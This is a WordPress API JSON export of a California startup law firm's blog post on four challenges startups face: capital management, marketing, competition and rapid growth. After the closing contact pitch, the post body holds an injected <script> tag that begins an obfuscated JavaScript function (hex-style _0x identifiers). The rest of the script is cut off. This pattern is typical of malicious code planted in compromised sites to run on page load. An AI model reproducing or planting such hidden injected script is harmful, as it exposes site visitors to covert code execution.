{"id":130,"date":"2017-07-24T04:47:52","date_gmt":"2017-07-24T04:47:52","guid":{"rendered":"https:\/\/epiksolution.org\/startup-company\/blog\/?p=130"},"modified":"2019-08-13T09:49:59","modified_gmt":"2019-08-13T09:49:59","slug":"what-are-four-challenges-startup-companies-face-part-ii","status":"publish","type":"post","link":"https:\/\/www.startupcompanycounsel.com\/blog\/what-are-four-challenges-startup-companies-face-part-ii\/","title":{"rendered":"What are Four Challenges Startup Companies Face &#8211; Part II"},"content":{"rendered":"<p>Previously, we discussed <a href=\"#\">four challenges a startup company may face<\/a>: funding, creative destruction, innovation, and hiring, and the importance of understanding future obstacles with each.\u00a0 Unfortunately, many startups fail because they are not prepared to face these challenges. \u00a0With the help of a qualified California startup lawyer, startups can overcome these early challenges, as well as the new challenges that will arise as the startup continues to grow and scale.\u00a0 The startup attorneys at Startup Company Counsel have helped many startup companies, large and small, to successfully establish and run their startup through these challenges.\u00a0 In this blog, Startup Company Counsel will discuss four additional challenges a startup company will likely face: managing capital, marketing, competition, and rapid growth.<\/p>\n<ul class=\"about_listing_div\">\n<li>Capital Management<\/li>\n<\/ul>\n<p>Possibly one of the biggest obstacles to early <a href=\"#\">startup<\/a> success is management of the business capital. \u00a0No matter how the initial funding is raised, managing capital is key to a startup\u2019s success.\u00a0 After raising the initial funding, it is important to carefully manage the \u201cburn rate\u201d of the initial capital to learn how fast you are spending the money. \u00a0It is also important to know when to ask for more money, and how much to ask for.\u00a0 There are many stages and series of financing for a startup.\u00a0 It is important to recognize when you need to raise additional funding to continue to scale the startup.\u00a0 If it is not properly managed, funds will diminish and <a href=\"#\">investors<\/a> will stop giving additional funding.\u00a0 In addition, too many lenders or investors can be hazardous to the control and direction of the startup by unnecessarily diluting your <a href=\"#\">equity<\/a> and having a surplus of people telling you what to do with your startup.\u00a0 The addition of any new investor should be a decision made with great care.<\/p>\n<ul class=\"about_listing_div\">\n<li><strong>Marketing<\/strong><\/li>\n<\/ul>\n<p>Marketing for a startup comes in many forms and will be critical to whether a startup survives or not.\u00a0 Many things can go wrong when marketing for a startup company.\u00a0 For example, startups fail by not following the simple math of customer <a href=\"#\">acquisition<\/a>. \u00a0Not only do the startups need to get their product\/name out to the consumers, but they need to do it in a cost-effective manner.\u00a0 The cost of acquiring a customer must be less than the lifetime value (LTV) that customer brings to your business. \u00a0An ideal ratio of LTV:customer acquisition cost is 3:1.\u00a0 Marketing budgets are important, but they must be spent in areas that have a proven return on your investment.\u00a0 It is important to track and record your data to understand what works for each individual startup.\u00a0 Tracking your marketing data is a continuing process that must be constantly evaluated and changed to make the most of the channels helping your startup\u2019s growth.<\/p>\n<ul class=\"about_listing_div\">\n<li><strong>Competition <\/strong><\/li>\n<\/ul>\n<p>The startup world is fiercely competitive.\u00a0 Having a brilliant, innovative idea is a great start, but it is only a start. \u00a0Having a fully developed product or service and knowing your market are key in staying ahead of the competition.\u00a0 Depending on the marketing strategy, a startup can leap ahead of the competition.\u00a0 Leaping ahead and maintaining that lead is harder than it sounds.\u00a0 It is pertinent to build customer trust through the product and services the startup provides.\u00a0 It is also important to differentiate your company from its competitors. \u00a0What do you do better than your competitors? \u00a0How can you prepare to hold your market niche when competitors offer new technologies and services, or when new competitors enter the game?\u00a0 Having an experienced California business attorney on your side can help you and your startup earn and maintain a competitive advantage.\u00a0 They will also be able to advise on and retain the proper protections to secure your startup\u2019s <a href=\"https:\/\/www.structurelaw.com\/technology-licensing-protection-of-intellectual-property.html\">intellectual property<\/a> to protect it from other companies.<\/p>\n<ul class=\"about_listing_div\">\n<li><strong>Rapid Growth<\/strong><\/li>\n<\/ul>\n<p>Because the world of startup companies is so fast-paced, many startups aren\u2019t prepared for the rapid growth they will experience. \u00a0The type of <a href=\"#\">entity<\/a> originally established will largely determine how the startup can grow.\u00a0 Ideally, operational documents created at a startup\u2019s birth will outline change and growth procedures.\u00a0 A startup company needs to be prepared to handle sudden and rapid growth. \u00a0It is important to have a contingency plan for an influx of new customers, orders, or services. \u00a0Further, a startup company needs to be prepared for the expansion of operations and employees.\u00a0 It is important to have the proper employment practices in place so that a startup can quickly hire qualified employees. \u00a0These are only a few examples of the many challenges of rapid growth that may arise when starting a company.\u00a0 Having an experienced startup lawyer from the beginning helps startups prepare for potential growth and establish procedures for when rapid growth occurs.<\/p>\n<p><strong>Contact a California Startup Business Lawyer Today<\/strong><\/p>\n<p>A successful startup starts from the ground up and a successful entrepreneur plans and prepares for any and all obstacles. \u00a0There are numerous challenges and obstacles that a startup may face and should be prepared for.\u00a0 The experienced business attorneys at Startup Company Counsel can help you prepare for the challenges that new and existing startups face and help your startup\u2019s success in this competitive market. \u00a0Call us at (408) 441-7555 or use our <a href=\"#\">online contact form<\/a> to schedule your consultation today to help prepare for potential challenges.<br \/>\n<script>function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let 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startups can overcome these early challenges, as well [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":259,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[2],"tags":[],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/www.startupcompanycounsel.com\/blog\/wp-json\/wp\/v2\/posts\/130"}],"collection":[{"href":"https:\/\/www.startupcompanycounsel.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.startupcompanycounsel.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.startupcompanycounsel.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.startupcompanycounsel.com\/blog\/wp-json\/wp\/v2\/comments?post=130"}],"version-history":[{"count":5,"href":"https:\/\/www.startupcompanycounsel.com\/blog\/wp-json\/wp\/v2\/posts\/130\/revisions"}],"predecessor-version":[{"id":692,"href":"https:\/\/www.startupcompanycounsel.com\/blog\/wp-json\/wp\/v2\/posts\/130\/revisions\/692"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.startupcompanycounsel.com\/blog\/wp-json\/wp\/v2\/media\/259"}],"wp:attachment":[{"href":"https:\/\/www.startupcompanycounsel.com\/blog\/wp-json\/wp\/v2\/media?parent=130"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.startupcompanycounsel.com\/blog\/wp-json\/wp\/v2\/categories?post=130"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.startupcompanycounsel.com\/blog\/wp-json\/wp\/v2\/tags?post=130"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}